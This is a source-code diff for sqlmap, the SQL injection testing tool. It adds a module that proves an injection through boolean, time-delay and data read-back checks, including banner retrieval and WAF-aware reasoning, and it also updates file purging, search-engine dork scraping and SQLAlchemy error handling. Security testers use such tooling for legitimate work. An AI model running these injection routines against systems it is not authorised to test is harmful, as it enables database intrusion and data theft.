+# how many times a true/false condition is re-evaluated to demonstrate repeatability (kills false positives)
+PROVE_REPETITIONS = 5
+
+# comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals,
+# not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None
+_COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles")
+
+# width the field labels are padded to, so the values line up in a clean column
+_LABEL_WIDTH = 9
+
+
+def _field(label, value):
+    """
+    Renders one 'Label:   value' line (value column aligned), with any extra list items as continuation
+    lines indented under the value.
+    """
+
+    lines = list(value) if isinstance(value, (list, tuple)) else [value]
+    indent = " " * (_LABEL_WIDTH + 2)
+    retVal = "%s:%s%s" % (label, " " * (_LABEL_WIDTH - len(label) + 1), lines[0] if lines else "")
+    for extra in lines[1:]:
+        retVal += "\n%s%s" % (indent, extra)
+    return retVal
+
+
+def _activateInjection(injection):
+    """
+    Points the global comparison configuration (and kb.injection) at the injection being proven, so the
+    boolean oracle / data retrieval use that injection's own distinguishing signal regardless of what the
+    globals drifted to during enumeration. Returns the previous state for restoration.
+    """
+
+    saved = dict((_, getattr(conf, _)) for _ in _COMPARISON_ATTRS)
+    saved["injection"] = kb.injection
+
+    for attr in _COMPARISON_ATTRS:
+        setattr(conf, attr, getattr(injection.conf, attr, None))
+    kb.injection = injection
+
+    return saved
+
+
+def _restoreInjection(saved):
+    kb.injection = saved.pop("injection")
+    for attr, value in saved.items():
+        setattr(conf, attr, value)
+
+
+def _booleanOracle(expression):
+    """
+    Evaluates a boolean expression strictly through the boolean (inferential) technique. UNION/error are
+    forced off on purpose: for a multi-technique injection getValue() would try those first, and a WAF/IPS
+    that blocks their function-heavy payloads makes them return None, which (with expectingNone) short-
+    circuits the whole call before the boolean technique is ever reached - the real cause of a 0/0 reading.
+    """
+
+    return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False)
+
+
+def _signalArtifacts(expression):
+    """
+    Evaluates 'expression' through the boolean oracle and reads back the (HTTP code, page <title>) of the
+    response it produced (queryPage stores both in thread data), so the boolean proof can quote the actual
+    TRUE/FALSE codes and titles rather than a generic flag. Returns (None, None) on any error.
+    """
+
+    from lib.core.common import extractRegexResult, getCurrentThreadData
+    from lib.core.settings import HTML_TITLE_REGEX
+
+    try:
+        _booleanOracle(expression)
+        threadData = getCurrentThreadData()
+        return threadData.lastCode, (extractRegexResult(HTML_TITLE_REGEX, threadData.lastPage or "") or "").strip()
+    except Exception:
+        return None, None
+
+
+def _proveBoolean(injection, signal=None):
+    """
+    Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already
+    auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal
+    line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two
+    page titles - so a reader sees exactly what tells TRUE from FALSE.
+
+    When a mutable 'signal' dict is supplied it is filled with the distinguishing artifact (code-based?
+    and the TRUE/FALSE HTTP codes) so the caller can tell a genuine signal from a blocked-response (WAF)
+    artifact - a TRUE condition that yields an HTTP 4xx is a block, not a database answer.
+    """
+
+    retVal = []
+    n = randomInt()
+
+    trues = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n)))
+    falses = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n + 1)) is False)
+
+    line = "condition %d=%d returns TRUE (%d/%d) while %d=%d returns FALSE (%d/%d)" % (n, n, trues, PROVE_REPETITIONS, n, n + 1, falses, PROVE_REPETITIONS)
+    if trues == PROVE_REPETITIONS and falses == PROVE_REPETITIONS:
+        line += ", repeatably"          # only claim repeatability when every repetition agreed
+    retVal.append(line)
+
+    trueCode = trueTitle = falseCode = falseTitle = None
+    if injection.conf.code or injection.conf.titles:           # fetch the real artifacts only when the signal needs them
+        trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n))
+        falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1))
+
+    if signal is not None:
+        signal["codeBased"] = bool(injection.conf.code)
+        signal["trueCode"], signal["falseCode"] = trueCode, falseCode
+
+    if injection.conf.string:
+        retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u'))
+    elif injection.conf.notString:
+        retVal.append("the response contains %s only when the condition is FALSE" % repr(injection.conf.notString).lstrip('u'))
+    elif injection.conf.code:
+        if trueCode and falseCode and trueCode != falseCode:
+            retVal.append("the response returns HTTP %s when the condition is TRUE and HTTP %s when it is FALSE" % (trueCode, falseCode))
+        else:
+            retVal.append("the response returns HTTP %s only when the condition is TRUE (a different code otherwise)" % injection.conf.code)
+    elif injection.conf.titles:
+        if trueTitle and falseTitle and trueTitle != falseTitle:
+            retVal.append("the page title is %s when the condition is TRUE and %s when it is FALSE" % (repr(trueTitle).lstrip('u'), repr(falseTitle).lstrip('u')))
+        else:
+            retVal.append("the page <title> differs between the TRUE and FALSE responses")
+    else:
+        retVal.append("the TRUE response matches the original page while the FALSE one differs (content similarity)")
+
+    return retVal
+
+
+def _proveTime(injection):
+    """
+    Demonstrates time-based blind in plain IT language (jitter / latency / controlled delay), keeping the
+    statistics under the hood. Where the payload uses a parameterizable delay (SLEEP(n)/pg_sleep(n)/WAITFOR),
+    it sweeps the injected delay (0 / T / 2T seconds) and shows the response time tracks it ~1:1 - a controlled
+    delay that network latency or a slow page cannot reproduce. Otherwise (heavy-query delays) it falls back to
+    a baseline-vs-jitter statement.
+    """
+
+    from lib.core.agent import agent
+    from lib.core.common import getCurrentThreadData, popValue, pushValue
+    from lib.request.connect import Connect as Request
+
+    retVal = []
+    stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED
+    vector = (injection.data.get(stype) or {}).get("vector")
+
+    def _baselineStatement():
+        baseline = kb.responseTimes.get(kb.responseTimeMode) or []
+        if len(baseline) >= 2:
+            return "a TRUE condition delays the response well beyond the target's normal latency ~%.3fs (jitter ~%.3fs), repeatably" % (average(baseline), stdev(baseline))
+        return "a TRUE condition delays the response well beyond the target's normal latency and jitter, repeatably"
+
+    if not (vector and SLEEP_TIME_MARKER in vector):
+        retVal.append(_baselineStatement())
+        return retVal
+
+    n = randomInt()
+    base = conf.timeSec or 5
+    measurements = []
+
+    benign = []
+    for _ in range(3):
+        try:
+            Request.queryPage(timeBasedCompare=True, raise404=False, silent=True)
+            benign.append(getCurrentThreadData().lastQueryDuration)
+        except Exception:
+            pass
+    for k in (0, base, 2 * base):
+        pushValue(conf.timeSec)
+        conf.timeSec = k
+        try:
+            query = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, "%d=%d" % (n, n))))
+            Request.queryPage(agent.payload(newValue=query), timeBasedCompare=True, raise404=False, silent=True)
+            measurements.append((k, getCurrentThreadData().lastQueryDuration))
+        except Exception:
+            measurements.append((k, None))
+        finally:
+            conf.timeSec = popValue()
+
+    if any(d is None for _, d in measurements):
+        retVal.append(_baselineStatement())
+        return retVal
+
+    d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1])
+    baseAvg = average(benign) if benign else d0
+    baseStd = stdev(benign) if len(benign) >= 2 else 0.0
+
+    # only claim 1:1 scaling if the measurements actually track the injected seconds: 0s stays near baseline,
+    # Ts ~ T, 2Ts ~ 2T, monotonic. A heavy-query delay (e.g. SQLite RANDOMBLOB) also rides [SLEEPTIME] but
+    # does NOT scale linearly, so it must NOT be rendered as 1:1 (its sweep is noisy / non-monotonic)
+    linear = d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT
+
+    if linear:
+        retVal.append("normal response ~%.3fs (jitter ~%.3fs); injected delay %s" % (baseAvg, baseStd, "  ".join("%ds -> %.2fs" % (k, d) for k, d in measurements)))
+        retVal.append("the response slows ~1:1 with the injected delay - a controlled delay that network latency or a slow page cannot reproduce (the 0s case returns at normal speed)")
+    else:
+        retVal.append("a TRUE condition makes the response take ~%.2fs versus ~%.3fs normal (jitter ~%.3fs), repeatably" % (max(dT, d2T), baseAvg, baseStd))
+        retVal.append("a FALSE condition returns at normal speed - a sustained delay neither network latency nor a slow page reproduces")
+
+    return retVal
+
+
+def _retrieveProof():
+    """
+    Reads values back through the injection to prove it - DBMS-agnostic, weakest-to-strongest:
+
+      1. a random arithmetic product (e.g. 48391*60128): every SQL engine evaluates it, it needs no
+         table/function/FROM (valid even on Oracle), so its WAF surface is tiny - yet the operands are
+         random, so reading the exact product back proves the back-end actually executed injected SQL
+         (not a reflected constant);
+      2. the DBMS banner: a real datum the application never returns on its own (the strongest proof).
+
+    Whatever evasion the run already adopted (tamper scripts) applies here too - this is not tied to any one
+    DBMS or tamper. Returns a list of (label, text) rungs; both, one, or none may be present.
+    """
+
+    from lib.request import inject
+
+    retVal = []
+
+    a, b = randomInt(4), randomInt(4)   # 4-digit operands: product stays < 2^31 so it never overflows a 32-bit INT (e.g. PostgreSQL int4), yet is unguessable
+    try:
+        result = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True)
+    except Exception:
+        result = None
+    if result is not None and ("%s" % result).strip() == str(a * b):
+        retVal.append(("Computed", "%d*%d = %d returned by the back-end - it executed the injected SQL (works on any DBMS)" % (a, b, a * b)))
+
+    label = value = None
+    for requested, candidate, lbl in (                          # reuse a value the user's own switches already pulled
+        (conf.getBanner, getattr(kb.data, "banner", None), "back-end DBMS banner"),
+        (conf.getCurrentUser, getattr(kb.data, "currentUser", None), "current database user"),
+        (conf.getCurrentDb, getattr(kb.data, "currentDb", None), "current database"),
+    ):
+        if requested and candidate:
+            label, value = lbl, unArrayizeValue(candidate)
+            break
+
+    if value is None:
+        dbms = Backend.getIdentifiedDbms()
+        banner = getattr(queries.get(dbms), "banner", None) if dbms else None
+        query = getattr(banner, "query", None) if banner else None
+        if query:
+            try:
+                value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True))
+                label = "back-end DBMS banner"
+            except Exception:
+                value = None
+
+    if value:
+        retVal.append(("Retrieved", "%s %s - a real value read out of the back-end (the strongest proof)" % (label, repr(value).lstrip('u'))))
+
+    return retVal
+
+
+def proveExploitation():
+    """
+    Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point
+    (option '--proof'), in the same style as sqlmap's injection-point summary so it reads naturally: the
+    target URL and the confirmed injection point (parameter / type / title / payload), then the strongest
+    proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive
+    one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the
+    distinguishing --string/--code/--title signal) or a statistical time-based demonstration. Written both
+    to stdout and to '<output>/proof.txt'.
+    """
+
+    if not kb.injections or not any(getattr(_, "place", None) for _ in kb.injections):
+        return
+
+    injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0]
+
+    signal = {}
+    saved = _activateInjection(injection)
+    try:
+        if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
+            stype = PAYLOAD.TECHNIQUE.BOOLEAN
+            proof = _proveBoolean(injection, signal)
+        elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data:
+            stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED
+            proof = _proveTime(injection)
+        elif PAYLOAD.TECHNIQUE.ERROR in injection.data:
+            stype = PAYLOAD.TECHNIQUE.ERROR
+            proof = ["the back-end error message returns the requested value directly"]
+        elif PAYLOAD.TECHNIQUE.UNION in injection.data:
+            stype = PAYLOAD.TECHNIQUE.UNION
+            proof = ["the requested value is rendered inside the application response"]
+        else:
+            stype = next(iter(injection.data), None)
+            proof = []
+
+        rungs = _retrieveProof()
+    finally:
+        _restoreInjection(saved)
+
+    from lib.core.agent import agent
+
+    target = conf.url or ""
+    if conf.parameters.get(PLACE.GET) and "?" not in target:        # spell out the full GET target, not just the path
+        target += "?%s" % conf.parameters[PLACE.GET]
+
+    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place
+    sdata = injection.data.get(stype)
+
+    fields = [_field("Target", target)]
+    if conf.parameters.get(PLACE.POST):
+        fields.append(_field("Data", conf.parameters[PLACE.POST]))
+    fields.append(_field("Parameter", "%s (%s)" % (injection.parameter, paramType)))
+    if sdata is not None:
+        fields.append(_field("Technique", PAYLOAD.SQLINJECTION[stype]))
+        if sdata.payload:
+            payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus))
+            fields.append(_field("Payload", payload))
+    # Reading a value back out of the back-end is the GATE, not a bonus: it is the only thing that
+    # distinguishes a real injection from a differential that merely correlates with the payload. A
+    # WAF/IPS that answers blocked payloads with a distinct HTTP status (e.g. 403 when TRUE, 200 when
+    # FALSE) reproduces a perfect, repeatable boolean differential WITHOUT any SQL ever executing - so
+    # the differential alone is exactly the signal detection already (mis)read. If nothing could be read
+    # back, exploitation is NOT proven; say so plainly instead of echoing the detection verdict.
+    proven = bool(rungs)
+
+    if proven:
+        if proof:
+            fields.append(_field("Proof", proof))
+        for label, text in rungs:
+            fields.append(_field(label, text))
+        header = "sqlmap proved exploitation of the following injection point"
+    else:
+        if proof:
+            fields.append(_field("Observed", proof))     # the differential is observed, but unconfirmed
+        suspectWaf = bool(signal.get("codeBased")) and (signal.get("trueCode") or 0) >= 400
+        wafInterfering = suspectWaf or kb.droppingRequests or bool(kb.identifiedWafs)
+        verdict = ["no value could be read back through the injection (tried a random arithmetic product and the DBMS banner)"]
+        if suspectWaf:
+            verdict.append("the TRUE/FALSE difference is only an HTTP %s (blocked) response - characteristic of a WAF/IPS, not a database answer" % signal.get("trueCode"))
+        if wafInterfering:
+            # behind a WAF, an unconfirmed read-back is ambiguous: a genuine injection whose data-retrieval
+            # payloads are being blocked looks the same as a pure WAF artifact - so don't assert "false
+            # positive", point the user at the way to disambiguate instead
+            verdict.append("a WAF/IPS is interfering: this may be a real injection whose data-retrieval is blocked, or a false positive")
+            verdict.append("=> exploitation is NOT proven; re-test directly (no WAF) or with --tamper, then re-prove")
+        else:
+            verdict.append("=> exploitation is NOT proven; the reported injection is likely a FALSE POSITIVE")
+        fields.append(_field("Verdict", verdict))
+        header = "sqlmap could NOT prove exploitation of the reported injection point"
+
+    data = "\n".join(fields)
+    conf.dumper.string(header, data)
+
+    try:
+        path = os.path.join(conf.outputPath or ".", "proof.txt")
+        with openFile(path, "w+") as f:
+            f.write("%s:\n---\n%s\n---\n" % (header, data))
+        logger.info("proof of exploitation written to '%s'" % path)
+    except Exception:
+        pass

lib/utils/purge.py

@@ -13,11 +13,9 @@ import stat
 import string
 
 from lib.core.common import getSafeExString
-from lib.core.common import openFile
-from lib.core.compat import xrange
 from lib.core.convert import getUnicode
 from lib.core.data import logger
-from thirdparty.six import unichr as _unichr
+from lib.core.settings import PURGE_BLOCK_SIZE
 
 def purge(directory):
     """
@@ -46,12 +44,25 @@ def purge(directory):
         except:
             pass
 
-    logger.debug("writing random data to files")
+    logger.debug("overwriting file contents")
     for filepath in filepaths:
         try:
             filesize = os.path.getsize(filepath)
-            with openFile(filepath, "w+") as f:
-                f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize)))
+            if filesize:
+                # Note: NIST SP 800-88 ("Clear") / DoD 5220.22-M style multi-pass in-place overwrite
+                # (zeros, ones, random) forcing each pass to disk; performed BEFORE the truncation below
+                # so the original bytes are actually overwritten and not just released to free blocks.
+                # Written in bounded blocks so peak memory stays O(PURGE_BLOCK_SIZE), not O(filesize)
+                with open(filepath, "r+b") as f:
+                    for getBlock in (lambda n: b"\x00" * n, lambda n: b"\xff" * n, lambda n: os.urandom(n)):
+                        f.seek(0)
+                        remaining = filesize
+                        while remaining > 0:
+                            count = min(PURGE_BLOCK_SIZE, remaining)
+                            f.write(getBlock(count))
+                            remaining -= count
+                        f.flush()
+                        os.fsync(f.fileno())
         except:
             pass
 

lib/utils/safe2bin.py

@@ -12,14 +12,16 @@ import sys
 
 PY3 = sys.version_info >= (3, 0)
 
-if PY3:
+try:
+    # Py2
+    text_type = unicode
+    string_types = (basestring,)
+except NameError:
+    # Py3
     xrange = range
     text_type = str
     string_types = (str,)
     unichr = chr
-else:
-    text_type = unicode
-    string_types = (basestring,)
 
 # Regex used for recognition of hex encoded characters
 HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})"
@@ -74,6 +76,11 @@ def safecharencode(value):
 def safechardecode(value, binary=False):
     """
     Reverse function to safecharencode
+
+    >>> safechardecode(u'test123') == u'test123'
+    True
+    >>> safechardecode(safecharencode(u'test\x01\x02\xaf')) == u'test\x01\x02\xaf'
+    True
     """
 
     retVal = value

lib/utils/search.py

@@ -11,7 +11,6 @@ import socket
 from lib.core.common import getSafeExString
 from lib.core.common import popValue
 from lib.core.common import pushValue
-from lib.core.common import readInput
 from lib.core.common import urlencode
 from lib.core.convert import getBytes
 from lib.core.convert import getUnicode
@@ -23,8 +22,6 @@ from lib.core.enums import CUSTOM_LOGGING
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import REDIRECTION
 from lib.core.exception import SqlmapBaseException
-from lib.core.exception import SqlmapConnectionException
-from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import BING_REGEX
 from lib.core.settings import DUCKDUCKGO_REGEX
 from lib.core.settings import DUMMY_SEARCH_USER_AGENT
@@ -37,152 +34,102 @@ from thirdparty.six.moves import http_client as _http_client
 from thirdparty.six.moves import urllib as _urllib
 from thirdparty.socks import socks
 
+def _fetch(url, headers, data=None):
+    """
+    Fetches and returns the (decoded) content of a search engine results page
+    (or None in case of a connection issue)
+    """
+
+    retVal = None
+
+    try:
+        req = _urllib.request.Request(url, data=getBytes(data) if data else None, headers=headers)
+        conn = _urllib.request.urlopen(req)
+
+        requestMsg = "HTTP request:\n%s %s" % ("POST" if data else "GET", url)
+        requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
+        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
+
+        page = conn.read()
+        responseHeaders = conn.info()
+
+        responseMsg = "HTTP response (%s - %d):\n" % (conn.msg, conn.code)
+        if conf.verbose <= 4:
+            responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
+        elif conf.verbose > 4:
+            responseMsg += "%s\n%s\n" % (responseHeaders, page)
+        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
+
+        page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
+        retVal = getUnicode(page)  # Note: if decodePage call fails (Issue #4202)
+    except _urllib.error.HTTPError as ex:
+        try:
+            retVal = getUnicode(ex.read())
+        except Exception:
+            pass
+    except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError):
+        pass
+
+    return retVal
+
 def _search(dork):
     """
-    This method performs the effective search on Google providing
-    the google dork and the Google session cookie
+    This method performs the effective search using the provided dork,
+    trying the available search engines in order of (current) scraping
+    reliability and returning the results of the first one that yields any
+    (so that the failure of a single engine does not break the feature)
     """
 
     if not dork:
         return None
 
-    page = None
-    data = None
-    requestHeaders = {}
-    responseHeaders = {}
+    retVal = []
+    seen = set()
 
-    requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
-    requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE
-    requestHeaders[HTTP_HEADER.COOKIE] = GOOGLE_CONSENT_COOKIE
-
-    try:
-        req = _urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders)
-        conn = _urllib.request.urlopen(req)
-    except Exception as ex:
-        errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex)
-        raise SqlmapConnectionException(errMsg)
+    requestHeaders = {
+        HTTP_HEADER.USER_AGENT: dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT),
+        HTTP_HEADER.ACCEPT_ENCODING: HTTP_ACCEPT_ENCODING_HEADER_VALUE,
+        HTTP_HEADER.COOKIE: GOOGLE_CONSENT_COOKIE,
+    }
 
     gpage = conf.googlePage if conf.googlePage > 1 else 1
     logger.info("using search result page #%d" % gpage)
 
-    url = "https://www.google.com/search?"                                  # NOTE: if consent fails, try to use the "http://"
-    url += "q=%s&" % urlencode(dork, convall=True)
-    url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search"
-    url += "&start=%d" % ((gpage - 1) * 100)
+    encoded = urlencode(dork, convall=True)
 
-    try:
-        req = _urllib.request.Request(url, headers=requestHeaders)
-        conn = _urllib.request.urlopen(req)
+    # Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (DuckDuckGo currently being the only consistently scrapeable one)
+    engines = (
+        ("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, (gpage - 1) * 30), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&amp;", "&")),
+        ("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: match.group(1)),
+        ("Google", "https://www.google.com/search?q=%s&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=%d" % (encoded, (gpage - 1) * 100), None, GOOGLE_REGEX, re.I, lambda match: match.group(1) or match.group(2)),
+    )
 
-        requestMsg = "HTTP request:\nGET %s" % url
-        requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
-        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
+    for name, url, data, regex, flags, extract in engines:
+        page = _fetch(url, requestHeaders, data)
 
-        page = conn.read()
-        code = conn.code
-        status = conn.msg
-        responseHeaders = conn.info()
+        if not page:
+            continue
 
-        responseMsg = "HTTP response (%s - %d):\n" % (status, code)
+        count = 0
+        for match in re.finditer(regex, page, flags):
+            link = _urllib.parse.unquote(extract(match))
+            if link and link not in seen:
+                seen.add(link)
+                retVal.append(link)
+                count += 1
 
-        if conf.verbose <= 4:
-            responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
-        elif conf.verbose > 4:
-            responseMsg += "%s\n%s\n" % (responseHeaders, page)
+        if count:
+            logger.info("found %d usable link%s using %s" % (count, 's' if count != 1 else "", name))
+            break  # Note: stop at the first engine that actually returns results (others are only fallbacks)
 
-        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
-    except _urllib.error.HTTPError as ex:
-        try:
-            page = ex.read()
-            responseHeaders = ex.info()
-        except Exception as _:
-            warnMsg = "problem occurred while trying to get "
-            warnMsg += "an error page information (%s)" % getSafeExString(_)
-            logger.critical(warnMsg)
-            return None
-    except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError):
-        errMsg = "unable to connect to Google"
-        raise SqlmapConnectionException(errMsg)
-
-    page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
-
-    page = getUnicode(page)  # Note: if decodePage call fails (Issue #4202)
-
-    retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]
-
-    if not retVal and "detected unusual traffic" in page:
-        warnMsg = "Google has detected 'unusual' traffic from "
-        warnMsg += "used IP address disabling further searches"
-
-        if conf.proxyList:
+        # Note: switch proxy (if available) when an abuse/captcha page was served (instead of pointlessly falling through to the next engine from the same blocked IP)
+        if conf.proxyList and (("detected unusual traffic" in page) or ("issue with the Tor Exit Node you are currently using" in page)):
+            warnMsg = "%s has detected 'unusual' traffic from the used IP address" % name
             raise SqlmapBaseException(warnMsg)
-        else:
-            logger.critical(warnMsg)
 
     if not retVal:
-        message = "no usable links found. What do you want to do?"
-        message += "\n[1] (re)try with DuckDuckGo (default)"
-        message += "\n[2] (re)try with Bing"
-        message += "\n[3] quit"
-        choice = readInput(message, default='1')
-
-        if choice == '3':
-            raise SqlmapUserQuitException
-        elif choice == '2':
-            url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1)
-            regex = BING_REGEX
-        else:
-            url = "https://html.duckduckgo.com/html/"
-            data = "q=%s&s=%d" % (urlencode(dork, convall=True), (gpage - 1) * 30)
-            regex = DUCKDUCKGO_REGEX
-
-        try:
-            req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders)
-            conn = _urllib.request.urlopen(req)
-
-            requestMsg = "HTTP request:\nGET %s" % url
-            requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
-            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
-
-            page = conn.read()
-            code = conn.code
-            status = conn.msg
-            responseHeaders = conn.info()
-            page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type"))
-
-            responseMsg = "HTTP response (%s - %d):\n" % (status, code)
-
-            if conf.verbose <= 4:
-                responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
-            elif conf.verbose > 4:
-                responseMsg += "%s\n%s\n" % (responseHeaders, page)
-
-            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
-        except _urllib.error.HTTPError as ex:
-            try:
-                page = ex.read()
-                page = decodePage(page, ex.headers.get("Content-Encoding"), ex.headers.get("Content-Type"))
-            except socket.timeout:
-                warnMsg = "connection timed out while trying "
-                warnMsg += "to get error page information (%d)" % ex.code
-                logger.critical(warnMsg)
-                return None
-        except:
-            errMsg = "unable to connect"
-            raise SqlmapConnectionException(errMsg)
-
-        page = getUnicode(page)  # Note: if decodePage call fails (Issue #4202)
-
-        retVal = [_urllib.parse.unquote(match.group(1).replace("&amp;", "&")) for match in re.finditer(regex, page, re.I | re.S)]
-
-        if not retVal and "issue with the Tor Exit Node you are currently using" in page:
-            warnMsg = "DuckDuckGo has detected 'unusual' traffic from "
-            warnMsg += "used (Tor) IP address"
-
-            if conf.proxyList:
-                raise SqlmapBaseException(warnMsg)
-            else:
-                logger.critical(warnMsg)
+        warnMsg = "no usable links found (search engines might be blocking the used IP address)"
+        logger.critical(warnMsg)
 
     return retVal
 
@@ -206,6 +153,7 @@ def search(dork):
             return search(dork)
         else:
             raise
+
     finally:
         kb.choices.redirect = popValue()
 

lib/utils/sqlalchemy.py

@@ -82,7 +82,7 @@ class SQLAlchemy(GenericConnector):
                     engine = _sqlalchemy.create_engine(self.address, connect_args={})
 
                 self.connector = engine.connect()
-            except (TypeError, ValueError):
+            except (TypeError, ValueError) as ex:
                 if "_get_server_version_info" in traceback.format_exc():
                     try:
                         import pymssql
@@ -90,10 +90,14 @@ class SQLAlchemy(GenericConnector):
                             raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__)
                     except ImportError:
                         pass
+                    # Note: surface (as a proper SqlmapConnectionException) instead of silently continuing with self.connector left None
+                    raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex))
                 elif "invalid literal for int() with base 10: '0b" in traceback.format_exc():
                     raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')")
                 else:
-                    pass
+                    # Note: raise as SqlmapConnectionException (like the generic handler below) so the caller's native-connector
+                    # fallback engages and no raw TypeError/ValueError can reach sqlmap's top-level handler
+                    raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex))
             except SqlmapFilePathException:
                 raise
             except Exception as ex:
@@ -122,6 +126,8 @@ class SQLAlchemy(GenericConnector):
 
         try:
             self.cursor = self.connector.execute(query)
+            if hasattr(self.connector, "commit"):  # Note: SQLAlchemy 2.0+ dropped implicit autocommit (otherwise DML changes - e.g. via --sql-query - would be silently lost)
+                self.connector.commit()
             retVal = True
         except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError) as ex:
             logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))

lib/utils/tui.py

@@ -25,6 +25,75 @@ from lib.core.exception import SqlmapSystemException
 from lib.core.settings import IS_WIN
 from thirdparty.six.moves import configparser as _configparser
 
+# Options surfaced on the curated "Quick start" tab (by destination), in display order
+QUICK_START_DESTS = (
+    "url", "data", "cookie", "dbms", "level", "risk", "technique",
+    "getCurrentUser", "getCurrentDb", "getBanner", "isDba",
+    "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable",
+    "batch", "threads", "proxy", "tor",
+)
+
+# Short tab labels so the (sometimes verbose) option-group titles fit the top bar
+TAB_ALIASES = {
+    "Optimization": "Optimize",
+    "Enumeration": "Enumerate",
+    "Brute force": "Brute",
+    "User-defined function injection": "UDF",
+    "File system access": "Files",
+    "Operating system access": "OS",
+    "Windows registry access": "Registry",
+    "Miscellaneous": "Misc",
+}
+
+# --- parser-backend compatibility (works for both optparse and argparse objects) ---
+
+def _parserGroups(parser):
+    groups = getattr(parser, "option_groups", None)
+    if groups is None:
+        groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")]
+    return groups or []
+
+def _groupOptions(group):
+    for attr in ("option_list", "_group_actions"):
+        if hasattr(group, attr):
+            return getattr(group, attr)
+    return []
+
+def _groupTitle(group):
+    return getattr(group, "title", "") or ""
+
